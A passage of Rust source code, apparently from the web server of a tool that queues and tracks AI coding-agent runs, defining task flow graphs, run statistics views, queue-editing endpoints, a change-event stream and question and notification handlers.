4518 max_attempts: usize,
4519}
4520
4521fn task_flow(task: &Task, history: &[TaskRunView], max_attempts: usize) -> FlowView {
4524 let node = |key: &str, kind, label: String| FlowNode {
4525 key: key.to_owned(),
4526 kind,
4527 label,
4528 status: None,
4529 note: None,
4530 run_kind: None,
4531 detail: None,
4532 decided: false,
4533 readable: true,
4534 href: None,
4535 };
4536 let mut nodes = Vec::new();
4537 let mut edges: Vec<FlowEdge> = Vec::new();
4538 if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
4540 let mut n = node(
4541 "chat",
4542 "chat",
4543 format!("Chat {}", crate::queue::short(&link.id)),
4544 );
4545 n.href = Some(link.href);
4546 nodes.push(n);
4547 edges.push(FlowEdge {
4548 from: "chat".to_owned(),
4549 to: "start".to_owned(),
4550 label: "queued from chat".to_owned(),
4551 attempt: AttemptCost::None,
4552 });
4553 }
4554 nodes.push(node("start", "start", "Task queued".to_owned()));
4555 let mut prev = "start".to_owned();
4556 let mut prev_exit: Option<(RunExit, Option<&str>)> = None;
4557 for (i, h) in history.iter().enumerate() {
4558 let key = format!("run-{}", h.n);
4559 let mut n = node(&key, "run", format!("Run {}", h.short));
4560 n.run_kind = Some(h.kind);
4561 n.readable = h.readable;
4562 n.href = Some(format!("#/runs/{}", h.id));
4563 n.decided = h.readable && !h.provisional;
4564 n.detail = h
4565 .branch
4566 .as_ref()
4567 .map(|b| format!("review-only run of branch {b}"));
4568 match h.exit {
4569 RunExit::Unreadable => n.note = Some("unreadable"),
4570 RunExit::Interrupted => n.note = Some("interrupted"),
4571 _ => {
4572 n.status = h.status;
4573 if h.provisional {
4574 n.note = Some("no verdict");
4575 }
4576 }
4577 }
4578 let into = match h.kind {
4579 "review" => Some(format!(
4580 "review-only run of branch {}",
4581 h.branch.as_deref().unwrap_or("?")
4582 )),
4583 "resume" => Some("resume the same run".to_owned()),
4584 _ if i > 0 => Some("retry".to_owned()),
4585 _ => None,
4586 };
4587 let label = match (prev_exit, into) {
4588 (Some((e, st)), Some(i)) => format!("{} \u{2192} {i}", e.edge_label(st)),
4589 (Some((e, st)), None) => e.edge_label(st),
4590 (None, Some(i)) => i,
4591 (None, None) => "claimed".to_owned(),
4592 };
4593 edges.push(FlowEdge {
4594 from: prev.clone(),
4595 to: key.clone(),
4596 label,
4597 attempt: prev_exit.map_or(AttemptCost::None, |(e, _)| e.cost()),
4598 });
4599 prev_exit = Some((h.exit, h.status));
4600 prev = key;
4601 nodes.push(n);
4602 }
4603 let mut end = node("end", "end", task.status.as_str().to_owned());
4604 end.status = Some(task.status.as_str());
4605 nodes.push(end);
4606 let (label, attempt) = match prev_exit {
4607 None => (
4608 format!("no run yet \u{2192} {}", task.status.as_str()),
4609 AttemptCost::None,
4610 ),
4611 Some((e, st)) if e.explains(task.status) => (
4612 format!("{} \u{2192} {}", e.edge_label(st), task.status.as_str()),
4613 e.cost(),
4614 ),
4615 Some((e, _)) => (
4616 format!("closed by hand: task is {}", task.status.as_str()),
4617 e.cost(),
4618 ),
4619 };
4620 edges.push(FlowEdge {
4621 from: prev,
4622 to: "end".to_owned(),
4623 label,
4624 attempt,
4625 });
4626 FlowView {
4627 nodes,
4628 edges,
4629 attempts: task.attempts,
4630 max_attempts,
4631 }
4632}
4633
4634fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
4637 let mut history = Vec::with_capacity(task.runs.len());
4638 let mut seen: Vec<&str> = Vec::new();
4639 let mut prior: Option<(&str, RunStatus)> = None;
4640 for (i, run_id) in task.runs.iter().enumerate() {
4641 let state = read(run_id);
4642 let resumed = seen.contains(&run_id.as_str());
4643 seen.push(run_id);
4644 history.push(task_run_view(
4645 run_id,
4646 state.as_ref(),
4647 RunSlot {
4648 n: i + 1,
4649 resumed,
4650 resumed_later: task.runs[i + 1..]
4651 .iter()
4652 .position(|r| r == run_id)
4653 .map(|off| i + off + 2),
4654 prior,
4655 last: i + 1 == task.runs.len(),
4656 },
4657 task,
4658 ));
4659 if let Some(s) = &state {
4660 prior = Some((run::short_of(run_id), s.status));
4661 }
4662 }
4663 history
4664}
4665
4666async fn task_detail(
4667 State(ui): State<Arc<Ui>>,
4668 Path(id): Path<String>,
4669) -> ApiResult<Json<TaskDetailView>> {
4670 blocking(move || {
4671 let id = resolve_task(&ui.queue, &id)?;
4672 let task = ui
4673 .queue
4674 .get(&id)
4675 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
4676 let inv = crate::blockers::Inventory::new(ui.queue.list(), &ui.questions.list());
4677 let history = task_history(&task, |id| read_run(&ui.runs, id).ok());
4678 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
4679 let max_attempts = daemon::Opts::default().max_attempts;
4680 let flow = task_flow(&task, &history, max_attempts);
4681 Ok(Json(TaskDetailView {
4682 max_attempts,
4683 flow,
4684 history,
4685 runs_unreadable,
4686 attempts_note: ATTEMPTS_NOTE,
4687 task: TaskView::with_inventory(task, &inv),
4688 }))
4689 })
4690 .await
4691}
4692
4693#[derive(Debug, Serialize)]
4697struct RateView {
4698 pct: f64,
4699 denominator: usize,
4700}
4701
4702impl RateView {
4703 fn of(numerator: usize, denominator: usize) -> Option<Self> {
4704 (denominator > 0).then(|| Self {
4705 pct: 100.0 * numerator as f64 / denominator as f64,
4706 denominator,
4707 })
4708 }
4709}
4710
4711#[derive(Debug, Serialize)]
4716struct StatsTotalsView {
4717 runs: usize,
4718 merged: usize,
4719 ready: usize,
4720 blocked: usize,
4721 failed: usize,
4722 stalled: usize,
4723 verified_noop: usize,
4724 superseded: usize,
4725 in_progress: usize,
4726 completion_rate: Option<RateView>,
4727 tallied: usize,
4728 split: usize,
4729 split_rate: Option<RateView>,
4730 deliberated: usize,
4731 minds_changed: usize,
4732 converged: usize,
4733 review_rounds: usize,
4734}
4735
4736impl From<&stats::Totals> for StatsTotalsView {
4737 fn from(t: &stats::Totals) -> Self {
4738 Self {
4739 runs: t.runs,
4740 merged: t.merged,
4741 ready: t.ready,
4742 blocked: t.blocked,
4743 failed: t.failed,
4744 stalled: t.stalled,
4745 verified_noop: t.verified_noop,
4746 superseded: t.superseded,
4747 in_progress: t.in_progress,
4748 completion_rate: RateView::of(t.merged + t.ready, t.runs),
4749 tallied: t.tallied,
4750 split: t.split,
4751 split_rate: RateView::of(t.split, t.tallied),
4752 deliberated: t.deliberated,
4753 minds_changed: t.minds_changed,
4754 converged: t.converged,
4755 review_rounds: t.review_rounds,
4756 }
4757 }
4758}
4759
4760#[derive(Debug, Serialize)]
4762struct AgentStatsView {
4763 agent: String,
4764 entered: usize,
4765 wins: usize,
4766 empty: usize,
4767 win_rate: Option<RateView>,
4768}
4769
4770impl From<&stats::AgentStats> for AgentStatsView {
4771 fn from(a: &stats::AgentStats) -> Self {
4772 Self {
4773 agent: a.agent.clone(),
4774 entered: a.entered,
4775 wins: a.wins,
4776 empty: a.empty,
4777 win_rate: RateView::of(a.wins, a.entered),
4778 }
4779 }
4780}
4781
4782#[derive(Debug, Serialize)]
4786struct ReviewerStatsView {
4787 agent: String,
4788 rounds: usize,
4789 seated: usize,
4790 submitted: usize,
4791 adopted: usize,
4792 unique: usize,
4793 timeouts: usize,
4794 adopted_per_round: Option<f64>,
4795 precision: Option<RateView>,
4796 unique_rate: Option<RateView>,
4797 timeout_rate: Option<RateView>,
4798}
4799
4800impl From<&stats::ReviewerStats> for ReviewerStatsView {
4801 fn from(r: &stats::ReviewerStats) -> Self {
4802 Self {
4803 agent: r.agent.clone(),
4804 rounds: r.rounds,
4805 seated: r.seated,
4806 submitted: r.submitted,
4807 adopted: r.adopted,
4808 unique: r.unique,
4809 timeouts: r.timeouts,
4810 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
4811 precision: RateView::of(r.adopted, r.submitted),
4812 unique_rate: RateView::of(r.unique, r.submitted),
4813 timeout_rate: RateView::of(r.timeouts, r.seated),
4814 }
4815 }
4816}
4817
4818#[derive(Debug, Serialize)]
4824struct AdvisorStatsView {
4825 agent: String,
4826 seated: usize,
4827 proposed: usize,
4828 absent: usize,
4829 faint: usize,
4830 strong: usize,
4831 reflection_rate: Option<RateView>,
4832}
4833
4834impl From<&stats::AdvisorStats> for AdvisorStatsView {
4835 fn from(a: &stats::AdvisorStats) -> Self {
4836 Self {
4837 agent: a.agent.clone(),
4838 seated: a.seated,
4839 proposed: a.proposed,
4840 absent: a.absent,
4841 faint: a.faint,
4842 strong: a.strong,
4843 reflection_rate: RateView::of(a.strong, a.proposed),
4844 }
4845 }
4846}
4847
4848#[derive(Debug, Serialize)]
4850struct E2eStatsView {
4851 rounds: usize,
4852 failures: usize,
4853 sole_detections: usize,
4854 deferred: usize,
4855 sole_rate: Option<RateView>,
4856}
4857
4858impl From<&stats::E2eStats> for E2eStatsView {
4859 fn from(e: &stats::E2eStats) -> Self {
4860 Self {
4861 rounds: e.rounds,
4862 failures: e.failures,
4863 sole_detections: e.sole_detections,
4864 deferred: e.deferred,
4865 sole_rate: RateView::of(e.sole_detections, e.failures),
4866 }
4867 }
4868}
4869
4870#[derive(Debug, Serialize)]
4878struct ReleaseBumpStatsView {
4879 merged: usize,
4880 recorded: usize,
4881 pr_opened: usize,
4882 automerge_enabled: usize,
4883 merged_directly: usize,
4884 needs_attention: usize,
4885 clean: usize,
4886 coverage_rate: Option<RateView>,
4887 automerge_rate: Option<RateView>,
4888 attention_rate: Option<RateView>,
4889}
4890
4891impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
4892 fn from(b: &stats::ReleaseBumpStats) -> Self {
4893 Self {
4894 merged: b.merged,
4895 recorded: b.recorded,
4896 pr_opened: b.pr_opened,
4897 automerge_enabled: b.automerge_enabled,
4898 merged_directly: b.merged_directly,
4899 needs_attention: b.needs_attention,
4900 clean: b.clean(),
4901 coverage_rate: RateView::of(b.recorded, b.merged),
4902 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
4903 attention_rate: RateView::of(b.needs_attention, b.recorded),
4904 }
4905 }
4906}
4907
4908#[derive(Debug, Serialize)]
4910struct TaskCountsView {
4911 queued: usize,
4912 running: usize,
4913 done: usize,
4914 failed: usize,
4915 held: usize,
4916 blocked: usize,
4917}
4918
4919impl From<crate::queue::TaskCounts> for TaskCountsView {
4920 fn from(c: crate::queue::TaskCounts) -> Self {
4921 Self {
4922 queued: c.queued,
4923 running: c.running,
4924 done: c.done,
4925 failed: c.failed,
4926 held: c.held,
4927 blocked: c.blocked,
4928 }
4929 }
4930}
4931
4932#[derive(Debug, Serialize)]
4938struct RepoSummaryView {
4939 repo: String,
4942 name: String,
4944 runs: usize,
4945 completion_rate: Option<RateView>,
4946}
4947
4948impl From<&stats::RepoStats> for RepoSummaryView {
4949 fn from(r: &stats::RepoStats) -> Self {
4950 let t = &r.stats.totals;
4951 Self {
4952 repo: r.repo.to_string_lossy().into_owned(),
4953 name: r.name.clone(),
4954 runs: t.runs,
4955 completion_rate: RateView::of(t.merged + t.ready, t.runs),
4956 }
4957 }
4958}
4959
4960#[derive(Debug, Serialize)]
4966struct StatsView {
4967 totals: StatsTotalsView,
4968 agents: Vec<AgentStatsView>,
4970 reviewers: Vec<ReviewerStatsView>,
4972 advisors: Vec<AdvisorStatsView>,
4974 e2e: E2eStatsView,
4975 release_bumps: ReleaseBumpStatsView,
4976 queue: TaskCountsView,
4977 runs_unreadable: usize,
4987 repos: Vec<RepoSummaryView>,
4991 daily: Vec<DailyStatsView>,
4996 repo: Option<String>,
5000 retired_hidden: Vec<String>,
5004}
5005
5006#[derive(Debug, Serialize)]
5008struct DailyStatsView {
5009 date: String,
5011 runs: usize,
5012 merged: usize,
5013 ready: usize,
5014 other: usize,
5015 completion_rate: Option<RateView>,
5017}
5018
5019impl From<&stats::DayBucket> for DailyStatsView {
5020 fn from(b: &stats::DayBucket) -> Self {
5021 Self {
5022 date: b.date.to_string(),
5023 runs: b.runs,
5024 merged: b.merged,
5025 ready: b.ready,
5026 other: b.other,
5027 completion_rate: RateView::of(b.merged + b.ready, b.runs),
5028 }
5029 }
5030}
5031
5032const STATS_DAILY_DAYS: usize = 30;
5034
5035#[derive(Debug, Default, Deserialize)]
5044#[serde(default)]
5045struct StatsQuery {
5046 repo: Option<String>,
5047 all: bool,
5049}
5050
5051async fn stats_get(
5058 State(ui): State<Arc<Ui>>,
5059 Query(q): Query<StatsQuery>,
5060) -> ApiResult<Json<StatsView>> {
5061 blocking(move || {
5062 let states: Vec<RunState> = run_ids(&ui.runs)
5063 .into_iter()
5064 .filter_map(|id| read_run(&ui.runs, &id).ok())
5065 .collect();
5066 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
5067 .iter()
5068 .map(RepoSummaryView::from)
5069 .collect();
5070 let mut scoped: Vec<&RunState> = states.iter().collect();
5071 let mut collected = match &q.repo {
5072 Some(repo) => {
5073 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
5074 if filtered.is_empty() {
5075 return Err(ApiError::not_found(format!(
5076 "no runs recorded against repo `{repo}`"
5077 )));
5078 }
5079 scoped = filtered.clone();
5080 stats::collect_refs(filtered)
5081 }
5082 None => stats::collect(&states),
5083 };
5084 if !q.all {
5085 let repo = q
5086 .repo
5087 .as_deref()
5088 .map_or_else(|| ui.repo.clone(), PathBuf::from);
5089 stats::retain_current_roster(&mut collected, &repo);
5090 }
5091 let daily = stats::daily(
5092 scoped,
5093 jiff::Zoned::now().date(),
5094 &jiff::tz::TimeZone::system(),
5095 STATS_DAILY_DAYS,
5096 );
5097 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
5098 Ok(Json(StatsView {
5099 totals: StatsTotalsView::from(&collected.totals),
5100 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
5101 reviewers: collected
5102 .reviewers
5103 .iter()
5104 .map(ReviewerStatsView::from)
5105 .collect(),
5106 advisors: collected
5107 .advisors
5108 .iter()
5109 .map(AdvisorStatsView::from)
5110 .collect(),
5111 e2e: E2eStatsView::from(&collected.e2e),
5112 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
5113 queue: TaskCountsView::from(queue_counts),
5114 runs_unreadable: runs_unreadable(&ui.runs),
5115 repos,
5116 daily: daily.iter().map(DailyStatsView::from).collect(),
5117 repo: q.repo.clone(),
5118 retired_hidden: collected.retired_hidden.clone(),
5119 }))
5120 })
5121 .await
5122}
5123
5124#[derive(Debug, Default, Deserialize)]
5127#[serde(default, deny_unknown_fields)]
5128struct HoldBody {
5129 reason: Option<String>,
5130}
5131
5132async fn queue_hold(
5133 State(ui): State<Arc<Ui>>,
5134 Path(id): Path<String>,
5135 body: std::result::Result<Json<HoldBody>, JsonRejection>,
5136) -> ApiResult<Json<TaskView>> {
5137 let body = match body {
5141 Ok(Json(body)) => body,
5142 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
5143 Err(e) => return Err(ApiError::bad_request(e.body_text())),
5144 };
5145 let reason = body.reason.filter(|r| !r.trim().is_empty());
5146 mutate(ui, id, move |t| {
5147 t.hold_manual(reason.clone());
5148 Ok(())
5149 })
5150 .await
5151}
5152
5153async fn queue_release(
5154 State(ui): State<Arc<Ui>>,
5155 Path(id): Path<String>,
5156) -> ApiResult<Json<TaskView>> {
5157 mutate(ui, id, |t| {
5158 t.release();
5159 Ok(())
5160 })
5161 .await
5162}
5163
5164#[derive(Debug, Deserialize)]
5166#[serde(deny_unknown_fields)]
5167struct PriorityBody {
5168 priority: i32,
5169}
5170
5171async fn queue_priority(
5177 State(ui): State<Arc<Ui>>,
5178 Path(id): Path<String>,
5179 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
5180) -> ApiResult<Json<TaskView>> {
5181 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5182 mutate(ui, id, move |t| t.set_priority(body.priority)).await
5183}
5184
5185#[derive(Debug, Deserialize)]
5187#[serde(deny_unknown_fields)]
5188struct EditBody {
5189 title: String,
5190 instruction: String,
5191 #[serde(default)]
5194 force: bool,
5195}
5196
5197async fn queue_edit(
5201 State(ui): State<Arc<Ui>>,
5202 Path(id): Path<String>,
5203 body: std::result::Result<Json<EditBody>, JsonRejection>,
5204) -> ApiResult<Json<TaskView>> {
5205 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5206 let mut judged: Option<(String, PathBuf)> = None;
5210 if !body.force {
5211 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
5212 let (id, text) = (id.clone(), body.instruction.clone());
5213 let (seen, hits) = blocking(move || {
5214 let id = resolve_task(&queue, &id)?;
5215 let t = queue.get(&id)?;
5216 if text == t.instruction {
5217 return Ok((None, Vec::new()));
5218 }
5219 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
5220 Ok((Some((t.instruction, t.repo)), hits))
5221 })
5222 .await?;
5223 if let Some((_, repo)) = &seen {
5224 let cfg = crate::config::Config::discover(repo, None)
5225 .ok()
5226 .map(|(c, _)| c);
5227 let screened =
5228 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
5229 .await
5230 .map_err(|dup| {
5231 ApiError::conflict(dup.render(
5232 "Nothing was saved. If it is not a duplicate, repeat the request \
5233 with \"force\": true.",
5234 ))
5235 })?;
5236 if let crate::dupes::Screened::Unjudged(why) = screened {
5237 tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
5238 }
5239 }
5240 judged = seen;
5241 }
5242 let force = body.force;
5243 mutate(ui, id, move |t| {
5244 if !force && body.instruction != t.instruction {
5245 match &judged {
5246 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
5247 _ => {
5248 anyhow::bail!("the task changed while it was being checked; repeat the request")
5249 }
5250 }
5251 }
5252 t.edit(body.title.clone(), body.instruction.clone())
5253 })
5254 .await
5255}
5256
5257async fn queue_done(
5265 State(ui): State<Arc<Ui>>,
5266 Path(id): Path<String>,
5267) -> ApiResult<Json<TaskView>> {
5268 let home = ui.home.clone();
5269 mutate(ui, id, move |t| {
5270 t.succeed();
5271 crate::daemon::supersede_prior_runs(t, &home);
5279 Ok(())
5280 })
5281 .await
5282}
5283
5284async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
5292 blocking(move || {
5293 let id = resolve_task(&ui.queue, &id)?;
5294 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
5295 ui.queue
5296 .remove(&id, in_flight, &ui.questions)
5297 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
5298 Ok(StatusCode::NO_CONTENT)
5299 })
5300 .await
5301}
5302
5303async fn mutate(
5312 ui: Arc<Ui>,
5313 id: String,
5314 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
5315) -> ApiResult<Json<TaskView>> {
5316 blocking(move || {
5317 let id = resolve_task(&ui.queue, &id)?;
5318 let _claim = ui.queue.claim(&id).map_err(|e| {
5323 ApiError::conflict(format!(
5324 "{e:#} - a daemon is running this task, so it cannot be \
5325 changed from here yet"
5326 ))
5327 })?;
5328 let mut task = ui.queue.get(&id)?;
5329 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
5330 Ok(dup) => ApiError::conflict(dup.render(
5331 "Nothing was saved. If it is not a duplicate, repeat the request with \
5332 \"force\": true.",
5333 )),
5334 Err(e) => ApiError::bad_request_from(e),
5335 })?;
5336 ui.queue.put(&mut task)?;
5337 Ok(Json(TaskView::from(task)))
5338 })
5339 .await
5340}
5341
5342async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
5350 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
5351 tokio::spawn(async move {
5352 let mut ticker = tokio::time::interval(POLL);
5353 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
5354 let mut stamps: Option<[Stamps; 3]> = None;
5355 loop {
5356 ticker.tick().await;
5359 let state = Arc::clone(&ui);
5360 let revisions = tokio::task::spawn_blocking(move || {
5361 let stamps = [
5362 store_stamps(state.queue.root(), false),
5363 store_stamps(&state.runs, true),
5364 store_stamps(state.talks.root(), false),
5365 ];
5366 let revisions = (
5367 stamps_revision(&stamps[0]),
5368 stamps_revision(&stamps[1]),
5369 state.questions.revision(),
5370 stamps_revision(&stamps[2]),
5371 state.notices.revision(),
5372 state.lock_loop().rev,
5376 );
5377 (revisions, stamps)
5378 })
5379 .await;
5380 let Ok((revisions, next_stamps)) = revisions else {
5381 break;
5382 };
5383 if last == Some(revisions) {
5384 continue;
5385 }
5386 let mut payload = serde_json::json!({
5387 "queue_rev": revisions.0,
5388 "runs_rev": revisions.1,
5389 "questions_rev": revisions.2,
5390 "talks_rev": revisions.3,
5391 "notifications_rev": revisions.4,
5392 "loop_rev": revisions.5,
5393 });
5394 if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
5395 for (index, (key, rev)) in [
5396 ("queue_delta", base.0),
5397 ("runs_delta", base.1),
5398 ("talks_delta", base.3),
5399 ]
5400 .into_iter()
5401 .enumerate()
5402 {
5403 let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
5404 if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
5406 payload[key] = serde_json::to_value(delta).expect("serializable delta");
5407 }
5408 }
5409 }
5410 last = Some(revisions);
5411 stamps = Some(next_stamps);
5412 let Ok(event) = Event::default().event("change").json_data(payload) else {
5414 break;
5415 };
5416 if tx.send(event).await.is_err() {
5417 break;
5418 }
5419 }
5420 });
5421 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
5422 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
5423}
5424
5425type Stamps = HashMap<String, (u128, u64)>;
5426
5427fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
5429 std::fs::read_dir(root)
5430 .into_iter()
5431 .flatten()
5432 .flatten()
5433 .filter_map(|entry| {
5434 let path = if runs {
5435 entry.path().join("run.json")
5436 } else {
5437 entry.path()
5438 };
5439 if !runs && path.extension().is_none_or(|ext| ext != "json") {
5440 return None;
5441 }
5442 let metadata = path.metadata().ok()?;
5443 let modified = metadata
5444 .modified()
5445 .ok()?
5446 .duration_since(std::time::UNIX_EPOCH)
5447 .ok()?;
5448 let id = if runs {
5449 entry.file_name().to_string_lossy().into_owned()
5450 } else {
5451 path.file_stem()?.to_string_lossy().into_owned()
5452 };
5453 Some((id, (modified.as_nanos(), metadata.len())))
5454 })
5455 .collect()
5456}
5457
5458#[derive(Debug, Serialize)]
5459struct Delta {
5460 base: u64,
5461 changed: Vec<String>,
5462 removed: Vec<String>,
5463}
5464
5465fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
5466 let mut changed: Vec<_> = next
5467 .iter()
5468 .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
5469 .map(|(id, _)| id.clone())
5470 .collect();
5471 let mut removed: Vec<_> = previous
5472 .keys()
5473 .filter(|id| !next.contains_key(*id))
5474 .cloned()
5475 .collect();
5476 changed.sort_unstable();
5477 removed.sort_unstable();
5478 Delta {
5479 base,
5480 changed,
5481 removed,
5482 }
5483}
5484
5485fn runs_revision(runs: &FsPath) -> u64 {
5492 stamps_revision(&store_stamps(runs, true))
5493}
5494
5495fn stamps_revision(stamps: &Stamps) -> u64 {
5499 use std::hash::{Hash as _, Hasher as _};
5500 if stamps.is_empty() {
5501 return 0;
5502 }
5503 let mut entries: Vec<_> = stamps.iter().collect();
5504 entries.sort_unstable();
5505 let mut hasher = std::hash::DefaultHasher::new();
5506 entries.hash(&mut hasher);
5507 hasher.finish().max(1)
5508}
5509
5510fn run_ids(runs: &FsPath) -> Vec<String> {
5516 let mut ids: Vec<String> = std::fs::read_dir(runs)
5517 .into_iter()
5518 .flatten()
5519 .flatten()
5520 .filter(|e| e.path().join("run.json").is_file())
5521 .map(|e| e.file_name().to_string_lossy().into_owned())
5522 .collect();
5523 ids.sort_unstable_by(|a, b| b.cmp(a));
5525 ids
5526}
5527
5528fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
5530 let path = runs.join(id).join("run.json");
5531 let body =
5532 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
5533 let state: RunState =
5534 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
5535 run::migrate_schema(state)
5540}
5541
5542#[must_use]
5550pub fn runs_unreadable(runs: &FsPath) -> usize {
5551 run_ids(runs)
5552 .into_iter()
5553 .filter(|id| read_run(runs, id).is_err())
5554 .count()
5555}
5556
5557fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
5559 if runs.join(id).join("run.json").is_file() {
5560 return Ok(id.to_owned());
5561 }
5562 pick(run_ids(runs), id, "run")
5563}
5564
5565fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
5567 if queue.path_of(id).is_file() {
5568 return Ok(id.to_owned());
5569 }
5570 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
5571}
5572
5573#[derive(Debug, Serialize)]
5584struct QuestionView {
5585 #[serde(flatten)]
5586 question: Question,
5587 detail_md: Vec<md::Node>,
5588 thread_bodies_md: Vec<Vec<md::Node>>,
5590 thread_notes_md: Vec<Option<Vec<md::Node>>>,
5593 waiting_on_agent: bool,
5603 holder: Option<&'static str>,
5607 deputies_enabled: bool,
5611 run_is_task: bool,
5614 origin_chat: Option<String>,
5619}
5620
5621impl QuestionView {
5622 fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
5626 let base = md::ImageBase::QuestionPanel {
5627 id: question.id.clone(),
5628 };
5629 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
5630 Self {
5631 detail_md: md::to_nodes(&question.detail, &base),
5632 thread_bodies_md: question
5633 .thread
5634 .iter()
5635 .map(|t| md::to_nodes(&t.body, &base))
5636 .collect(),
5637 thread_notes_md: question
5638 .thread
5639 .iter()
5640 .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
5641 .collect(),
5642 waiting_on_agent: question.waiting_on_agent(),
5643 holder,
5644 deputies_enabled,
5645 run_is_task: question.run_names_task(),
5646 origin_chat: None,
5647 question,
5648 }
5649 }
5650
5651 fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
5653 self.origin_chat = crate::consult::origin_talk(tasks, talks, &self.question).map(|t| t.id);
5654 self
5655 }
5656}
5657
5658fn deputy_config(repo: &std::path::Path) -> Option<Config> {
5662 Config::discover(repo, None).ok().map(|(c, _)| c)
5663}
5664
5665fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
5667 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
5668}
5669
5670fn question_views(
5673 qs: Vec<Question>,
5674 store: &ask::Questions,
5675 load: impl FnOnce() -> Option<Config>,
5676) -> Vec<QuestionView> {
5677 if qs.is_empty() {
5678 return Vec::new();
5679 }
5680 let cfg = load();
5681 qs.into_iter()
5682 .map(|q| {
5683 let on = deputies_enabled(cfg.as_ref(), &q);
5684 QuestionView::of(q, store, on)
5685 })
5686 .collect()
5687}
5688
5689fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
5699 if !q.status.open() {
5700 return None;
5701 }
5702 if q.cwd.is_none() && q.deputy.is_none() {
5703 return crate::deputy::kind_of(q).map(|_| "nobody");
5704 }
5705 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
5706 Some(_) if q.deputy.is_some() => "deputy",
5707 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
5708 Some(_) => "asker",
5709 None => "nobody",
5710 })
5711}
5712
5713async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
5719 blocking(move || {
5720 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5721 Ok(Json(
5722 question_views(ui.questions.list(), &ui.questions, || {
5723 deputy_config(&ui.repo)
5724 })
5725 .into_iter()
5726 .map(|v| v.with_origin(&tasks, &talks))
5727 .collect(),
5728 ))
5729 })
5730 .await
5731}
5732
5733async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5736 blocking(move || {
5737 let items = ui.notices.list();
5738 let unread = items.iter().filter(|n| n.unread()).count();
5739 Ok(Json(
5740 serde_json::json!({ "unread": unread, "items": items }),
5741 ))
5742 })
5743 .await
5744}
5745
5746fn notice_error(e: anyhow::Error) -> ApiError {
5747 ApiError::not_found(format!("{e:#}"))
5750}
5751
5752async fn notification_read(
5754 State(ui): State<Arc<Ui>>,
5755 Path(id): Path<String>,
5756) -> ApiResult<Json<Notice>> {
5757 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
5758}
5759
5760async fn notification_dismiss(
5762 State(ui): State<Arc<Ui>>,
5763 Path(id): Path<String>,
5764) -> ApiResult<Json<Notice>> {
5765 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
5766}
5767
5768async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5770 blocking(move || {
5771 let changed = ui.notices.mark_all_read()?;
5772 Ok(Json(serde_json::json!({ "marked": changed })))
5773 })
5774 .await
5775}
5776
5777#[derive(Debug, Default, Deserialize)]
5783#[serde(default, deny_unknown_fields)]
5784struct NewAnswer {
5785 choice: Option<String>,
5786 text: Option<String>,
5787}
5788
5789async fn question_answer(
5790 State(ui): State<Arc<Ui>>,
5791 Path(id): Path<String>,
5792 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
5793) -> ApiResult<Json<QuestionView>> {
5794 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5795 let answer = match (body.choice, body.text) {
5796 (Some(c), None) => Answer::Choice(c),
